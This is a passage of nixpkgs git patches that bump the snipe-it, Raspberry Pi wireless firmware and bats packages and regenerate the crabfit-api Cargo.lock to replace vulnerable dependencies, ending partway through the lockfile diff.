index 1b8356d9e89d..caa9947b57c7 100644
--- a/pkgs/by-name/sn/snipe-it/package.nix
+++ b/pkgs/by-name/sn/snipe-it/package.nix
@@ -9,16 +9,16 @@
 
 php84.buildComposerProject2 (finalAttrs: {
   pname = "snipe-it";
-  version = "8.1.4";
+  version = "8.1.15";
 
   src = fetchFromGitHub {
     owner = "grokability";
     repo = "snipe-it";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-Mz+8f8VRwBf80tfrtecKnkFDIP7lsjJVPezyZI2uFbg=";
+    hash = "sha256-VcFUpG8ZPi/Dt80v0RR3bpdJ5IJci47dpw4sPRjVyh0=";
   };
 
-  vendorHash = "sha256-w+wdGGCACzpJMFuKk48h71DVMfsGguxeJLTen1U8Pp8=";
+  vendorHash = "sha256-iYKi3dit/nNFYB8Kk2xXWi+p90YEwhwEV9EVVdVV47o=";
 
   postInstall = ''
     snipe_it_out="$out/share/php/snipe-it"

From 5441bc7a2c7bf0453f63ea01762c5105f67a850c Mon Sep 17 00:00:00 2001
From: transcaffeine <transcaffeine@finally.coffee>
Date: Mon, 16 Jun 2025 16:04:11 +0200
Subject: [PATCH 2290/4511] snipe-it: 8.1.15 -> 8.1.16

Release notes: https://github.com/grokability/snipe-it/releases/tag/v8.1.16
Full Changelog: https://github.com/grokability/snipe-it/compare/v8.1.15...v8.1.16

(cherry picked from commit 535753ab0d544b8316128abdf53c6a79894cb586)
---
 pkgs/by-name/sn/snipe-it/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/sn/snipe-it/package.nix b/pkgs/by-name/sn/snipe-it/package.nix
index caa9947b57c7..7b2053b09310 100644
--- a/pkgs/by-name/sn/snipe-it/package.nix
+++ b/pkgs/by-name/sn/snipe-it/package.nix
@@ -9,16 +9,16 @@
 
 php84.buildComposerProject2 (finalAttrs: {
   pname = "snipe-it";
-  version = "8.1.15";
+  version = "8.1.16";
 
   src = fetchFromGitHub {
     owner = "grokability";
     repo = "snipe-it";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-VcFUpG8ZPi/Dt80v0RR3bpdJ5IJci47dpw4sPRjVyh0=";
+    hash = "sha256-Eo0Z6aWbNniOcPIjsgWwy9d9TXfyYZPK3AtVxbAcjac=";
   };
 
-  vendorHash = "sha256-iYKi3dit/nNFYB8Kk2xXWi+p90YEwhwEV9EVVdVV47o=";
+  vendorHash = "sha256-bQFNpms8l85d74HoTEPx2fHZxbcjtbf1MoKj4lX3AMk=";
 
   postInstall = ''
     snipe_it_out="$out/share/php/snipe-it"

From b9f183b7bf5a1831a5a75de341d6276253938c7a Mon Sep 17 00:00:00 2001
From: transcaffeine <transcaffeine@finally.coffee>
Date: Mon, 30 Jun 2025 15:44:52 +0200
Subject: [PATCH 2291/4511] snipe-it: 8.1.16 -> 8.1.18

Release notes:
- https://github.com/grokability/snipe-it/releases/tag/v8.1.17
- https://github.com/grokability/snipe-it/releases/tag/v8.1.18

Full changelog: https://github.com/grokability/snipe-it/compare/v8.1.16...v8.1.18

(cherry picked from commit 6374750c82218e3a7cb52efba6b5f9b1d8c5b7c8)
---
 pkgs/by-name/sn/snipe-it/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/sn/snipe-it/package.nix b/pkgs/by-name/sn/snipe-it/package.nix
index 7b2053b09310..e5a26d0cc847 100644
--- a/pkgs/by-name/sn/snipe-it/package.nix
+++ b/pkgs/by-name/sn/snipe-it/package.nix
@@ -9,16 +9,16 @@
 
 php84.buildComposerProject2 (finalAttrs: {
   pname = "snipe-it";
-  version = "8.1.16";
+  version = "8.1.18";
 
   src = fetchFromGitHub {
     owner = "grokability";
     repo = "snipe-it";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-Eo0Z6aWbNniOcPIjsgWwy9d9TXfyYZPK3AtVxbAcjac=";
+    hash = "sha256-S11RUvblLQNS+LX66zBlVATJTvOMNBxf//zpo+b4AB0=";
   };
 
-  vendorHash = "sha256-bQFNpms8l85d74HoTEPx2fHZxbcjtbf1MoKj4lX3AMk=";
+  vendorHash = "sha256-wWm7bB+TUzeRDRPYCL53c9/KspAdsHSEKK759ntiLWo=";
 
   postInstall = ''
     snipe_it_out="$out/share/php/snipe-it"

From 43b6944db318ce9cfab8a1c286f5aef6508a95b6 Mon Sep 17 00:00:00 2001
From: Sefa Eyeoglu <contact@scrumplex.net>
Date: Fri, 11 Jul 2025 10:46:28 +0200
Subject: [PATCH 2292/4511] raspberrypiWirelessFirmware: unstable-2024-02-26 ->
 0-unstable-2025-04-08

https://github.com/RPi-Distro/bluez-firmware/compare/78d6a07730e2d20c035899521ab67726dc028e1c...2bbfb8438e824f5f61dae3f6ebb367a6129a4d63
https://github.com/RPi-Distro/firmware-nonfree/compare/223ccf3a3ddb11b3ea829749fbbba4d65b380897...c9d3ae6584ab79d19a4f94ccf701e888f9f87a53

Signed-off-by: Sefa Eyeoglu <contact@scrumplex.net>
(cherry picked from commit 7237a7608aba8e0e871405b82a0e24c06bb47d5a)
---
 .../by-name/ra/raspberrypiWirelessFirmware/package.nix | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/ra/raspberrypiWirelessFirmware/package.nix b/pkgs/by-name/ra/raspberrypiWirelessFirmware/package.nix
index a8d4dc74c601..bfc806b782ed 100644
--- a/pkgs/by-name/ra/raspberrypiWirelessFirmware/package.nix
+++ b/pkgs/by-name/ra/raspberrypiWirelessFirmware/package.nix
@@ -6,22 +6,22 @@
 
 stdenvNoCC.mkDerivation {
   pname = "raspberrypi-wireless-firmware";
-  version = "unstable-2024-02-26";
+  version = "0-unstable-2025-04-08";
 
   srcs = [
     (fetchFromGitHub {
       name = "bluez-firmware";
       owner = "RPi-Distro";
       repo = "bluez-firmware";
-      rev = "78d6a07730e2d20c035899521ab67726dc028e1c";
-      hash = "sha256-KakKnOBeWxh0exu44beZ7cbr5ni4RA9vkWYb9sGMb8Q=";
+      rev = "2bbfb8438e824f5f61dae3f6ebb367a6129a4d63";
+      hash = "sha256-t+D4VUfEIov83KV4wiKp6TqXTHXGkxg/mANi4GW7QHs=";
     })
     (fetchFromGitHub {
       name = "firmware-nonfree";
       owner = "RPi-Distro";
       repo = "firmware-nonfree";
-      rev = "223ccf3a3ddb11b3ea829749fbbba4d65b380897";
-      hash = "sha256-BGq0+cr+xBRwQM/LqiQuRWuZpQsKM5jfcrNCqWMuVzM=";
+      rev = "c9d3ae6584ab79d19a4f94ccf701e888f9f87a53";
+      hash = "sha256-5ywIPs3lpmqVOVP3B75H577fYkkucDqB7htY2U1DW8U=";
     })
   ];
 

From ba9f9fa5956b80de267862b7b9af9aef0f13d82e Mon Sep 17 00:00:00 2001
From: h0nIg <h0nIg@users.noreply.github.com>
Date: Mon, 7 Jul 2025 18:46:51 +0200
Subject: [PATCH 2293/4511] bats: fix build with procps without systemd

(cherry picked from commit 752233eb668876870537721b4f8e2722e0ad91a9)
---
 pkgs/by-name/ba/bats/package.nix | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/pkgs/by-name/ba/bats/package.nix b/pkgs/by-name/ba/bats/package.nix
index 91683dc96c3f..36c8968be3bd 100644
--- a/pkgs/by-name/ba/bats/package.nix
+++ b/pkgs/by-name/ba/bats/package.nix
@@ -123,6 +123,8 @@ resholve.mkDerivation rec {
           "cannot:libexec/bats-core/bats-exec-file"
           "cannot:libexec/bats-core/bats-exec-suite"
           "cannot:libexec/bats-core/bats-gather-tests"
+
+          "cannot:${procps}/bin/ps"
         ]
         ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
           # checked invocations for exec

From 72fae34af88610dd1b6322fa14987527dbe8bc63 Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Wed, 9 Jul 2025 13:28:51 -0400
Subject: [PATCH 2294/4511] crabfit-api: regenerate lockfile

Fixes some vulnerable dependencies.

(cherry picked from commit a615c81e27ad8a6a0bb374ed267607c2db8fd5e0)
---
 pkgs/by-name/cr/crabfit-api/Cargo.lock | 2035 ++++++++++++++----------
 1 file changed, 1234 insertions(+), 801 deletions(-)

diff --git a/pkgs/by-name/cr/crabfit-api/Cargo.lock b/pkgs/by-name/cr/crabfit-api/Cargo.lock
index b964b614ccca..bffd6d71e543 100644
--- a/pkgs/by-name/cr/crabfit-api/Cargo.lock
+++ b/pkgs/by-name/cr/crabfit-api/Cargo.lock
@@ -1,6 +1,6 @@
 # This file is automatically @generated by Cargo.
 # It is not intended for manual editing.
-version = 3
+version = 4
 
 [[package]]
 name = "Inflector"
@@ -9,38 +9,48 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "fe438c63458706e03479442743baae6c88256498e6431708f6dfc520a26515d3"
 
 [[package]]
-name = "adler"
-version = "1.0.2"
+name = "addr2line"
+version = "0.24.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f26201604c87b1e01bd3d98f8d5d9a8fcbb815e8cedb41ffccbeb4bf593a35fe"
+checksum = "dfbe277e56a376000877090da837660b4427aad530e3028d44e0bffe4f89a1c1"
+dependencies = [
+ "gimli",
+]
+
+[[package]]
+name = "adler2"
+version = "2.0.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "320119579fcad9c21884f5c4861d16174d0e06250625266f50fe6898340abefa"
 
 [[package]]
 name = "ahash"
-version = "0.7.6"
+version = "0.7.8"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fcb51a0695d8f838b1ee009b3fbf66bda078cd64590202a864a8f3e8c4315c47"
+checksum = "891477e0c6a8957309ee5c45a6368af3ae14bb510732d2684ffa19af310920f9"
 dependencies = [
- "getrandom",
+ "getrandom 0.2.16",
  "once_cell",
  "version_check",
 ]
 
 [[package]]
 name = "ahash"
-version = "0.8.3"
+version = "0.8.12"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2c99f64d1e06488f620f932677e24bc6e2897582980441ae90a671415bd7ec2f"
+checksum = "5a15f179cd60c4584b8a8c596927aadc462e27f2ca70c04e0071964a73ba7a75"
 dependencies = [
  "cfg-if",
  "once_cell",
  "version_check",
+ "zerocopy",
 ]
 
 [[package]]
 name = "aho-corasick"
-version = "1.0.1"
+version = "1.1.3"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "67fc08ce920c31afb70f013dcce1bfc3a3195de6a228474e45e1f145b36f8d04"
+checksum = "8e60d3430d3a69478ad0993f19238d2df97c507009a52b3c10addcd7f6bcb916"
 dependencies = [
  "memchr",
 ]
@@ -51,6 +61,18 @@ version = "0.1.3"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "250f629c0161ad8107cf89319e990051fae62832fd343083bea452d93e2205fd"
 
+[[package]]
+name = "allocator-api2"
+version = "0.2.21"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "683d7910e743518b0e34f1186f92494becacb047c7b6bf616c96772180fef923"
+
+[[package]]
+name = "android-tzdata"
+version = "0.1.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "e999941b234f3131b00bc13c22d06e8c5ff726d1b6318ac7eb276997bbb4fef0"
+
 [[package]]
 name = "android_system_properties"
 version = "0.1.5"
@@ -62,15 +84,15 @@ dependencies = [
 
 [[package]]
 name = "anyhow"
-version = "1.0.71"
+version = "1.0.98"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9c7d0618f0e0b7e8ff11427422b64564d5fb0be1940354bfe2e0529b18a9d9b8"
+checksum = "e16d2d3311acee920a9eb8d33b8cbc1787ce4a264e85f964c2404b969bdcd487"
 
 [[package]]
 name = "arrayvec"
-version = "0.7.2"
+version = "0.7.6"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8da52d66c7071e2e3fa2a1e5c6d088fec47b593032b254f5e980de8ea54454d6"
+checksum = "7c02d123df017efcdfbd739ef81735b36c5ba83ec3c59c80a9d7ecc718f92e50"
 
 [[package]]
 name = "async-attributes"
@@ -84,36 +106,48 @@ dependencies = [
 
 [[package]]
 name = "async-channel"
-version = "1.8.0"
+version = "1.9.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "cf46fee83e5ccffc220104713af3292ff9bc7c64c7de289f66dae8e38d826833"
+checksum = "81953c529336010edd6d8e358f886d9581267795c61b19475b71314bffa46d35"
 dependencies = [
  "concurrent-queue",
- "event-listener",
+ "event-listener 2.5.3",
  "futures-core",
 ]
 
 [[package]]
-name = "async-executor"
-version = "1.5.1"
+name = "async-channel"
+version = "2.5.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6fa3dc5f2a8564f07759c008b9109dc0d39de92a88d5588b8a5036d286383afb"
+checksum = "924ed96dd52d1b75e9c1a3e6275715fd320f5f9439fb5a4a11fa51f4221158d2"
+dependencies = [
+ "concurrent-queue",
+ "event-listener-strategy",
+ "futures-core",
+ "pin-project-lite",
+]
+
+[[package]]
+name = "async-executor"
+version = "1.13.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "bb812ffb58524bdd10860d7d974e2f01cc0950c2438a74ee5ec2e2280c6c4ffa"
 dependencies = [
- "async-lock",
  "async-task",
  "concurrent-queue",
  "fastrand",
  "futures-lite",
+ "pin-project-lite",
  "slab",
 ]
 
 [[package]]
 name = "async-global-executor"
-version = "2.3.1"
+version = "2.4.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f1b6f5d7df27bd294849f8eec66ecfc63d11814df7a4f5d74168a2394467b776"
+checksum = "05b1b633a2115cd122d73b955eadd9916c18c8f510ec9cd1686404c60ad1c29c"
 dependencies = [
- "async-channel",
+ "async-channel 2.5.0",
  "async-executor",
  "async-io",
  "async-lock",
@@ -125,41 +159,42 @@ dependencies = [
 
 [[package]]
 name = "async-io"
-version = "1.13.0"
+version = "2.4.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0fc5b45d93ef0529756f812ca52e44c221b35341892d3dcc34132ac02f3dd2af"
+checksum = "1237c0ae75a0f3765f58910ff9cdd0a12eeb39ab2f4c7de23262f337f0aacbb3"
 dependencies = [
  "async-lock",
- "autocfg",
  "cfg-if",
  "concurrent-queue",
+ "futures-io",
  "futures-lite",
- "log",
  "parking",
  "polling",
- "rustix",
+ "rustix 1.0.7",
  "slab",
- "socket2",
- "waker-fn",
+ "tracing",
+ "windows-sys 0.59.0",
 ]
 
 [[package]]
 name = "async-lock"
-version = "2.7.0"
+version = "3.4.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fa24f727524730b077666307f2734b4a1a1c57acb79193127dcc8914d5242dd7"
+checksum = "ff6e472cdea888a4bd64f342f09b3f50e1886d32afe8df3d663c01140b811b18"
 dependencies = [
- "event-listener",
+ "event-listener 5.4.0",
+ "event-listener-strategy",
+ "pin-project-lite",
 ]
 
 [[package]]
 name = "async-std"
-version = "1.12.0"
+version = "1.13.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "62565bb4402e926b29953c785397c6dc0391b7b446e45008b0049eb43cec6f5d"
+checksum = "730294c1c08c2e0f85759590518f6333f0d5a0a766a27d519c1b244c3dfd8a24"
 dependencies = [
  "async-attributes",
- "async-channel",
+ "async-channel 1.9.0",
  "async-global-executor",
  "async-io",
  "async-lock",
@@ -181,9 +216,9 @@ dependencies = [
 
 [[package]]
 name = "async-stream"
-version = "0.3.5"
+version = "0.3.6"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "cd56dd203fef61ac097dd65721a419ddccb106b2d2b70ba60a6b529f03961a51"
+checksum = "0b5a71a6f37880a80d1d7f19efd781e4b5de42c88f0722cc13bcb6cc2cfe8476"
 dependencies = [
  "async-stream-impl",
  "futures-core",
@@ -192,30 +227,30 @@ dependencies = [
 
 [[package]]
 name = "async-stream-impl"
-version = "0.3.5"
+version = "0.3.6"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "16e62a023e7c117e27523144c5d2459f4397fcc3cab0085af8e2224f643a0193"
+checksum = "c7c24de15d275a1ecfd47a380fb4d5ec9bfe0933f309ed5e705b775596a3574d"
 dependencies = [
  "proc-macro2",
  "quote",
- "syn 2.0.75",
+ "syn 2.0.104",
 ]
 
 [[package]]
 name = "async-task"
-version = "4.4.0"
+version = "4.7.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ecc7ab41815b3c653ccd2978ec3255c81349336702dfdf62ee6f7069b12a3aae"
+checksum = "8b75356056920673b02621b35afd0f7dda9306d03c79a30f5c56c44cf256e3de"
 
 [[package]]
 name = "async-trait"
-version = "0.1.68"
+version = "0.1.88"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b9ccdd8f2a161be9bd5c023df56f1b2a0bd1d83872ae53b71a84a12c9bf6e842"
+checksum = "e539d3fca749fcee5236ab05e93a52867dd549cc157c8cb7f99595f3cedffdb5"
 dependencies = [
  "proc-macro2",
  "quote",
- "syn 2.0.75",
+ "syn 2.0.104",
 ]
 
 [[package]]
@@ -229,25 +264,25 @@ dependencies = [
 
 [[package]]
 name = "atomic-waker"
-version = "1.1.1"
+version = "1.1.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1181e1e0d1fce796a03db1ae795d67167da795f9cf4a39c37589e85ef57f26d3"
+checksum = "1505bd5d3d116872e7271a6d4e16d81d0c8570876c8de68093a09ac269d8aac0"
 
 [[package]]
 name = "autocfg"
-version = "1.1.0"
+version = "1.5.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa"
+checksum = "c08606f8c3cbf4ce6ec8e28fb0014a2c086708fe954eaa885384a6165172e7e8"
 
 [[package]]
 name = "axum"
-version = "0.6.18"
+version = "0.6.20"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f8175979259124331c1d7bf6586ee7e0da434155e4b2d48ec2c8386281d8df39"
+checksum = "3b829e4e32b91e643de6eafe82b1d90675f5874230191a4ffbc1b336dec4d6bf"
 dependencies = [
  "async-trait",
  "axum-core",
- "bitflags",
+ "bitflags 1.3.2",
  "bytes",
  "futures-util",
  "headers",
@@ -289,6 +324,21 @@ dependencies = [
  "tower-service",
 ]
 
+[[package]]
+name = "backtrace"
+version = "0.3.75"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "6806a6321ec58106fea15becdad98371e28d92ccbc7c8f1b3b6dd724fe8f1002"
+dependencies = [
+ "addr2line",
+ "cfg-if",
+ "libc",
+ "miniz_oxide",
+ "object",
+ "rustc-demangle",
+ "windows-targets 0.52.6",
+]
+
 [[package]]
 name = "bae"
 version = "0.1.7"
@@ -316,15 +366,15 @@ checksum = "9e1b586273c5702936fe7b7d6896644d8be71e6314cfe09d3167c95f712589e8"
 
 [[package]]
 name = "base64"
-version = "0.21.0"
+version = "0.21.7"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a4a4ddaa51a5bc52a6948f74c06d20aaaddb71924eab79b8c97a8c556e942d6a"
+checksum = "9d297deb1925b89f2ccc13d7635fa0714f12c87adce1c75356b39ca9b7178567"
 
 [[package]]
 name = "base64ct"
-version = "1.6.0"
+version = "1.8.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8c3c1a368f70d6cf7302d78f8f7093da241fb8e8807c05cc9e51a125895a6d5b"
+checksum = "55248b47b0caf0546f7988906588779981c43bb1bc9d0c44087278f80cdb44ba"
 
 [[package]]
 name = "bcrypt"
@@ -332,9 +382,9 @@ version = "0.14.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "9df288bec72232f78c1ec5fe4e8f1d108aa0265476e93097593c803c8c02062a"
 dependencies = [
- "base64 0.21.0",
+ "base64 0.21.7",
  "blowfish",
- "getrandom",
+ "getrandom 0.2.16",
  "subtle",
  "zeroize",
 ]
@@ -345,7 +395,7 @@ version = "0.3.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "a6773ddc0eafc0e509fb60e48dff7f450f8e674a0686ae8605e8d9901bd5eefa"
 dependencies = [
- "num-bigint 0.4.3",
+ "num-bigint 0.4.6",
  "num-integer",
  "num-traits",
 ]
@@ -356,6 +406,24 @@ version = "1.3.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a"
 
+[[package]]
+name = "bitflags"
+version = "2.9.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1b8e56985ec62d17e9c1001dc89c88ecd7dc08e47eba5ec7c29c7b5eeecde967"
+
+[[package]]
+name = "bitvec"
+version = "1.0.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1bc2832c24239b0141d5674bb9174f9d68a8b5b3f2753311927c172ca46f7e9c"
+dependencies = [
+ "funty",
+ "radium",
+ "tap",
+ "wyz",
+]
+
 [[package]]
 name = "block-buffer"
 version = "0.10.4"
@@ -367,17 +435,15 @@ dependencies = [
 
 [[package]]
 name = "blocking"
-version = "1.3.1"
+version = "1.6.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "77231a1c8f801696fc0123ec6150ce92cffb8e164a02afb9c8ddee0e9b65ad65"
+checksum = "e83f8d02be6967315521be875afa792a316e28d57b5a2d401897e2a7921b7f21"
 dependencies = [
- "async-channel",
- "async-lock",
+ "async-channel 2.5.0",
  "async-task",
- "atomic-waker",
- "fastrand",
+ "futures-io",
  "futures-lite",
- "log",
+ "piper",
 ]
 
 [[package]]
@@ -392,60 +458,38 @@ dependencies = [
 
 [[package]]
 name = "borsh"
-version = "0.10.3"
+version = "1.5.7"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4114279215a005bc675e386011e594e1d9b800918cea18fcadadcce864a2046b"
+checksum = "ad8646f98db542e39fc66e68a20b2144f6a732636df7c2354e74645faaa433ce"
 dependencies = [
  "borsh-derive",
- "hashbrown 0.13.2",
+ "cfg_aliases",
 ]
 
 [[package]]
 name = "borsh-derive"
-version = "0.10.3"
+version = "1.5.7"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0754613691538d51f329cce9af41d7b7ca150bc973056f1156611489475f54f7"
+checksum = "fdd1d3c0c2f5833f22386f252fe8ed005c7f59fdcddeef025c01b4c3b9fd9ac3"
 dependencies = [
- "borsh-derive-internal",
- "borsh-schema-derive-internal",
+ "once_cell",
  "proc-macro-crate",
- "proc-macro2",
- "syn 1.0.109",
-]
-
-[[package]]
-name = "borsh-derive-internal"
-version = "0.10.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "afb438156919598d2c7bad7e1c0adf3d26ed3840dbc010db1a882a65583ca2fb"
-dependencies = [
  "proc-macro2",
  "quote",
- "syn 1.0.109",
-]
-
-[[package]]
-name = "borsh-schema-derive-internal"
-version = "0.10.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "634205cc43f74a1b9046ef87c4540ebda95696ec0f315024860cad7c5b0f5ccd"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn 1.0.109",
+ "syn 2.0.104",
 ]
 
 [[package]]
 name = "bumpalo"
-version = "3.12.1"
+version = "3.19.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9b1ce199063694f33ffb7dd4e0ee620741495c32833cde5aa08f02a0bf96f0c8"
+checksum = "46c5e41b57b8bba42a04676d81cb89e9ee8e859a1a66f80a5a72e1cb76b34d43"
 
 [[package]]
 name = "bytecheck"
-version = "0.6.10"
+version = "0.6.12"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "13fe11640a23eb24562225322cd3e452b93a3d4091d62fab69c70542fcd17d1f"
+checksum = "23cdc57ce23ac53c931e88a43d06d070a6fd142f2617be5855eb75efc9beb1c2"
 dependencies = [
  "bytecheck_derive",
  "ptr_meta",
@@ -454,9 +498,9 @@ dependencies = [
 
 [[package]]
 name = "bytecheck_derive"
-version = "0.6.10"
+version = "0.6.12"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e31225543cb46f81a7e224762764f4a6a0f097b1db0b175f69e8065efaa42de5"
+checksum = "3db406d29fbcd95542e92559bed4d8ad92636d1ca8b3b72ede10b4bcc010e659"
 dependencies = [
  "proc-macro2",
  "quote",
@@ -465,42 +509,50 @@ dependencies = [
 
 [[package]]
 name = "byteorder"
-version = "1.4.3"
+version = "1.5.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "14c189c53d098945499cdfa7ecc63567cf3886b3332b312a5b4585d8d3a6a610"
+checksum = "1fd0f2584146f6f2ef48085050886acf353beff7305ebd1ae69500e27c67f64b"
 
 [[package]]
 name = "bytes"
-version = "1.4.0"
+version = "1.10.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "89b2fd2a0dcf38d7971e2194b6b6eebab45ae01067456a7fd93d5547a61b70be"
+checksum = "d71b6127be86fdcfddb610f7182ac57211d4b18a3e9c82eb2d17662f2227ad6a"
 
 [[package]]
 name = "cc"
-version = "1.0.79"
+version = "1.2.29"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "50d30906286121d95be3d479533b458f87493b30a4b5f79a607db8f5d11aa91f"
+checksum = "5c1599538de2394445747c8cf7935946e3cc27e9625f889d979bfb2aaf569362"
+dependencies = [
+ "shlex",
+]
 
 [[package]]
 name = "cfg-if"
-version = "1.0.0"
+version = "1.0.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd"
+checksum = "9555578bc9e57714c812a1f84e4fc5b4d21fcb063490c624de019f7464c91268"
+
+[[package]]
+name = "cfg_aliases"
+version = "0.2.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "613afe47fcd5fac7ccf1db93babcb082c5994d996f20b8b159f2ad1658eb5724"
 
 [[package]]
 name = "chrono"
-version = "0.4.24"
+version = "0.4.41"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4e3c5919066adf22df73762e50cffcde3a758f2a848b113b586d1f86728b673b"
+checksum = "c469d952047f47f91b68d1cba3f10d63c11d73e4636f24f08daf0278abf01c4d"
 dependencies = [
+ "android-tzdata",
  "iana-time-zone",
  "js-sys",
- "num-integer",
  "num-traits",
  "serde",
- "time 0.1.45",
  "wasm-bindgen",
- "winapi",
+ "windows-link",
 ]
 
 [[package]]
@@ -519,10 +571,10 @@ version = "3.2.25"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "4ea181bf566f71cb9a5d17a59e1871af638180a18fb0035c92ae62b705207123"
 dependencies = [
- "bitflags",
+ "bitflags 1.3.2",
  "clap_derive",
  "clap_lex",
- "indexmap",
+ "indexmap 1.9.3",
  "once_cell",
  "textwrap",
 ]
@@ -549,16 +601,6 @@ dependencies = [
  "os_str_bytes",
 ]
 
-[[package]]
-name = "codespan-reporting"
-version = "0.11.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3538270d33cc669650c4b093848450d380def10c331d38c768e34cac80576e6e"
-dependencies = [
- "termcolor",
- "unicode-width",
-]
-
 [[package]]
 name = "common"
 version = "0.1.0"
@@ -569,9 +611,9 @@ dependencies = [
 
 [[package]]
 name = "concurrent-queue"
-version = "2.2.0"
+version = "2.5.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "62ec6771ecfa0762d24683ee5a32ad78487a3d3afdc0fb8cae19d2c5deb50b7c"
+checksum = "4ca0197aee26d1ae37445ee532fefce43251d24cc7c166799f4d46817f1d3973"
 dependencies = [
  "crossbeam-utils",
 ]
@@ -584,9 +626,9 @@ checksum = "e4c78c047431fee22c1a7bb92e00ad095a02a983affe4d8a72e2a2c62c1b94f3"
 
 [[package]]
 name = "core-foundation"
-version = "0.9.3"
+version = "0.9.4"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "194a7a9e6de53fa55116934067c844d9d749312f75c6f6d0980e8c252f8c2146"
+checksum = "91e195e091a93c46f7102ec7818a2aa394e1e1771c3ab4825963fa03e45afb8f"
 dependencies = [
  "core-foundation-sys",
  "libc",
@@ -594,15 +636,15 @@ dependencies = [
 
 [[package]]
 name = "core-foundation-sys"
-version = "0.8.4"
+version = "0.8.7"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e496a50fda8aacccc86d7529e2c1e0892dbd0f898a6b5645b5561b89c3210efa"
+checksum = "773648b94d0e5d620f64f280777445740e61fe701025087ec8b57f45c791888b"
 
 [[package]]
 name = "cpufeatures"
-version = "0.2.7"
+version = "0.2.17"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3e4c1eaa2012c47becbbad2ab175484c2a84d1185b566fb2cc5b8707343dfe58"
+checksum = "59ed5838eebb26a2bb2e58f6d5b5316989ae9d08bab10e0e6d103e656d1b0280"
 dependencies = [
  "libc",
 ]
@@ -612,7 +654,7 @@ name = "crabfit-api"
 version = "3.0.0"
 dependencies = [
  "axum",
- "base64 0.21.0",
+ "base64 0.21.7",
  "bcrypt",
  "chrono",
  "common",
@@ -637,31 +679,27 @@ dependencies = [
 
 [[package]]
 name = "crc32fast"
-version = "1.3.2"
+version = "1.4.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b540bd8bc810d3885c6ea91e2018302f68baba2129ab3e88f32389ee9370880d"
+checksum = "a97769d94ddab943e4510d138150169a2758b5ef3eb191a9ee688de3e23ef7b3"
 dependencies = [
  "cfg-if",
 ]
 
 [[package]]
 name = "crossbeam-queue"
